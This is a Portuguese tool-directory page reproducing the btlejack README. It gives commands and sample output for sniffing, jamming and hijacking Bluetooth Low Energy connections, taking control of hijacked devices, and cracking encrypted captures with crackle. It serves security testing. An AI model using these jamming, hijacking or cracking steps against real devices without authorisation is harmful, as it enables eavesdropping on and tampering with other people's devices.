Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
btlejack — Canivete suíço para Bluetooth Low Energy | Kitploit
Ferramentas/GitHubGitHub/virtualabs/btlejack
Segurança BluetoothExploraçãoSegurança Sem FioTestes de Penetração
GitHubvirtualabs/btlejack

btlejack

Canivete suíço para Bluetooth Low Energy

Ver Repositório
2.1k209há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Btlejack: um novo canivete suíço para Bluetooth Low Energy ###########################################################

Btlejack fornece tudo que você precisa para farejar, atrapalhar e sequestrar dispositivos Bluetooth Low Energy. Ele depende de um ou mais dispositivos BBC Micro:Bit <http://microbit.org/>_ executando um firmware dedicado. Você também pode querer usar um Bluefruit LE sniffer da Adafruit <https://www.adafruit.com/product/2269>_ ou um Kit de Avaliação nRF51822 <https://www.waveshare.com/wiki/BLE400>_, pois adicionamos suporte para esses dispositivos.

A versão atual desta ferramenta (2.0) suporta BLE 4.x e 5.x. O suporte para BLE 5.x é limitado, pois suporta apenas a PHY não codificada de 1 Mbps e não suporta atualizações de mapa de canal.

Requisitos

Você precisa de um sistema baseado em UNIX (por exemplo, um Raspberry Pi). Se você usar o BBC Micro:Bit, precisará de um a três dispositivos Micro:Bit (três dispositivos recomendados) e, para cada dispositivo, uma porta USB livre. O consumo de energia de um Micro:Bit é bastante baixo, então você pode usar uma única porta USB e um hub passivo para alimentar as três unidades recomendadas.

Se você conectar 3 microbits ao mesmo tempo no seu computador, o Btlejack conseguirá farejar em todos os canais de anúncio e terá muito mais chance de capturar a solicitação de conexão.

Como instalar

Primeiro, instale o software cliente btlejack Python3 com o Pip:

::

$ sudo pip3 install btlejack

Em seguida, conecte seu dispositivo Micro:Bit ao computador com um cabo USB, monte o dispositivo de armazenamento em massa associado (o ponto de montagem deve conter MICROBIT) e execute o seguinte comando:

::

$ btlejack -i

Isso programará todos os dispositivos Micro:Bit conectados ao seu computador e os deixará prontos para uso com o Btlejack. Ele usará a versão correta do firmware para o software cliente atual, portanto, é altamente recomendável realizar este procedimento de instalação do firmware sempre que você atualizar o Btlejack.

Se você estiver usando um Bluefruit LE sniffer ou um Kit de Avaliação nRF51822, use um programador SWD externo para gravar seu dispositivo com este firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.

Mantenha seus dispositivos conectados e pronto!

NOTA Isso só funciona em sistemas compatíveis com posix.

Como usar o Btlejack

Usar o Btlejack é bastante fácil. O Btlejack pode:

  • usar vários dispositivos
  • farejar uma conexão BLE existente
  • farejar novas conexões BLE
  • atrapalhar uma conexão BLE existente
  • sequestrar uma conexão BLE existente
  • exportar pacotes capturados para vários formatos PCAP

Especificar dispositivos a usar

O Btlejack normalmente tenta detectar e usar automaticamente dispositivos compatíveis conectados (apenas Micro:Bit por enquanto), mas como o firmware pode ser hackeado ou modificado para funcionar com outras placas baseadas em nRF51822, ele fornece uma opção específica para permitir compatibilidade com esses dispositivos.

A opção -d permite que você especifique um ou mais dispositivos com o Btlejack. Observe que esta opção desabilitará a detecção automática de dispositivos, e você deve adicionar quantos dispositivos forem necessários:

::

$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

Farejando uma conexão existente

Primeiro, encontre uma conexão existente para segmentar com btlejack:

::

$ btlejack -s BtleJack version 1.1

[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2

O primeiro valor (em dBm) mostra a potência do sinal; quanto maior for esse valor, melhor será a conexão farejada.

O segundo valor (hex) é o endereço de acesso associado, um valor de 32 bits que identifica um link entre dois dispositivos compatíveis com Bluetooth Low Energy.

O último valor é o número de pacotes vistos com este endereço de acesso. Quanto maior for esse valor, mais provável é que o endereço de acesso correspondente esteja em uso.

Em seguida, use a opção -f para seguir uma conexão específica:

::

$ btlejack -f 0xdda4845e BtleJack version 1.1

[i] Detected sniffers:

Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70

Se você estiver usando mais de 1 microbit, o Btlejack paralelizará algumas das operações de farejamento para acelerar a recuperação dos parâmetros de conexão!

Farejando novas conexões

A opção -c suportada por btlejack permite que você especifique o endereço BD alvo, ou você pode querer usar any para capturar qualquer nova conexão criada.

::

$ btlejack -c any BtleJack version 1.1

[i] Detected sniffers:

Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms

LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07

ou você também pode querer especificar o endereço BD alvo:

::

$ btlejack -c 03:e1:f0:00:11:22

Atrapalhando uma conexão

Uma vez que uma conexão é identificada por seu endereço de acesso, você pode atrapalhá-la usando a opção -j:

::

$ btlejack -f 0x129f3244 -j̀

Sequestrando uma conexão BLE

O Btlejack também é capaz de sequestrar uma conexão existente; use a opção -t para isso. Uma vez sequestrada, o Btlejack fornecerá um prompt permitindo que você interaja com o dispositivo sequestrado.

Primeiro, sequestre uma conexão existente:

::

$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1

[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:

Sniffer #0: fw version 1.1

[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>

Em seguida, use os seguintes comandos para interagir com o dispositivo:

  • discover: realiza a enumeração de serviços e características, fornecerá todas as informações sobre serviços e características
  • write: escreve dados em um handle de valor específico
  • read: lê dados de um handle de valor específico
  • ll: envia um pacote de camada de link bruto (para ninjas)

Comando discover ^^^^^^^^^^^^^^^^^^

O comando discover enviará e receberá pacotes Bluetooth LE e recuperará todos os UUIDs e parâmetros de serviços, bem como UUIDs e parâmetros de características:

::

btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003

Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a

Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016

Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018

Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a

Comando read ^^^^^^^^^^^^^^

O comando read aceita um único parâmetro, o handle de valor correspondente à característica da qual você deseja ler:

::

btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56

Comando write ^^^^^^^^^^^^^^^

O comando write aceita três parâmetros:

::

btlejack> write

Formatos de dados suportados:

  • hex: dados hexadecimais (ex.: "414261")
  • str: string de texto, pode ser encapsulada em aspas duplas

Comando ll ^^^^^^^^^^^^

Este último comando permite que você envie PDUs de camada de link Bluetooth Low Energy, em formato hexadecimal, conforme especificado no Volume 6, Parte B, Capítulo 2.4.

Exportação de arquivo PCAP

Uma característica interessante do Btlejack é a possibilidade de exportar os dados capturados para um arquivo PCAP.

O Btlejack suporta os seguintes formatos DLT:

  • DLT_BLUETOOTH_LE_LL_WITH_PHDR (mesmo)
  • DLT_NORDIC_BLE (o usado pelo farejador da Nordic)
  • DLT_BLUETOOTH_LE_LL (suportado nas versões mais recentes do Wireshark)

O arquivo de saída pode ser especificado usando a opção -o, enquanto o formato de saída pode ser especificado com a opção -x. Os valores de formato válidos são: ll_phdr, nordic ou pcap (padrão).

::

$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap

O tipo de exportação ll_phdr é útil ao farejar uma conexão criptografada, pois também é suportado pelo crackle <https://github.com/mikeryan/crackle>_. Portanto, se você quiser farejar e quebrar conexões criptografadas, este é o caminho.

Você também pode precisar informar ao crackle para usar uma estratégia de quebra específica, usando a opção -s:

::

$ crackle -i some.pcap -s 1

Cache de conexão

O Btlejack usa um cache de conexão para armazenar alguns valores relacionados à conexão, a fim de acelerar um pouco as coisas. Este cache de conexão pode causar alguns problemas, especialmente se um endereço de acesso já foi visto anteriormente.

Este cache pode ser limpo com a opção -z:

::

$ btlejack -z

Despejando pacotes ao vivo com o Wireshark

O Btlejack 2.0 introduz uma nova opção -w que permite especificar um caminho FIFO (existente ou não) para realizar análise ao vivo de pacotes:

::

$ btlejack -c any -w /tmp/blepipe

Você pode até usar um FIFO e um arquivo de saída ao mesmo tempo:

::

$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap

Dica para usar btlejack em um Raspberry Pi

Se você habilitou anteriormente a rede virtual por USB (RNDIS), por exemplo, para configurar um Raspberry Pi Zero W via USB, você precisa desabilitar isso novamente (ou seja, remova dtoverlay=dwc2 do boot/config.txt e modules-load=dwc2,g_ether do boot/cmdline.txt, depois execute sudo reboot), porque isso interferiria nas conexões USB dos farejadores.

Suporte para Bluetooth LE 5 e 5.1

Esta versão suporta Bluetooth Low Energy versões 5 e 5.1 e especialmente o novo algoritmo de seleção de canal introduzido na versão 5 (CSA #2). No entanto, como o hardware utilizado não suporta as duas novas PHYs adicionadas a partir da versão 5, ele só conseguirá farejar, atrapalhar e talvez sequestrar conexões usando a PHY não codificada de 1 Mbps.

Observe também que a implementação atual do CSA #2 incluída no Btlejack não suporta atualizações de mapa de canal, por enquanto.

Farejando uma nova conexão BLE 5

O Btlejack detecta automaticamente o algoritmo de seleção de canal usado, então você não precisa se preocupar e apenas captura pacotes como de costume.

Farejando uma conexão BLE 5 existente

Farejar uma conexão BLE 5 existente (que usa a PHY não codificada de 1 Mbps, e apenas esta PHY) não é tão difícil. Primeiro, você deve especificar que deseja segmentar uma conexão BLE 5, usando a opção -5. Observe que não há como saber se uma conexão existente usa CSA #2 ou CSA #1, então você precisa tentar ambas as técnicas até que uma funcione.

::

$ btlejack -f 0x11223344 -5

O Btlejack então recuperará o mapa de canal usado e, em seguida, o valor do intervalo de salto:

::

$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160

Ele tentará então recuperar o valor do contador PRNG desta conexão:

::

$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...

Uma vez feito isso, o Btlejack está sincronizado com esta conexão e processará pacotes como de costume.

Atrapalhando uma conexão BLE 5 existente

Nada de novo aqui, exceto que você deve especificar que está atacando uma conexão BLE 5, usando a opção -5.

Observe que você pode otimizar este ataque especificando também o mapa de canal e o valor do intervalo de salto a serem usados, usando respectivamente as flags -m e -p. Ambos DEVEM ser fornecidos, caso contrário, não funcionará.

Sequestrando uma conexão BLE 5 existente

Não consegui sequestrar uma conexão BLE 5 neste momento, pois este ataque é sensível ao tempo. Meus dispositivos BLE 5 usam uma latência de 0, não permitindo nenhum atraso e fazendo com que este ataque falhe.

Quando eu conseguir colocar as mãos em alguns dispositivos BLE 5 legítimos, melhorarei isso.

Baixar ferramenta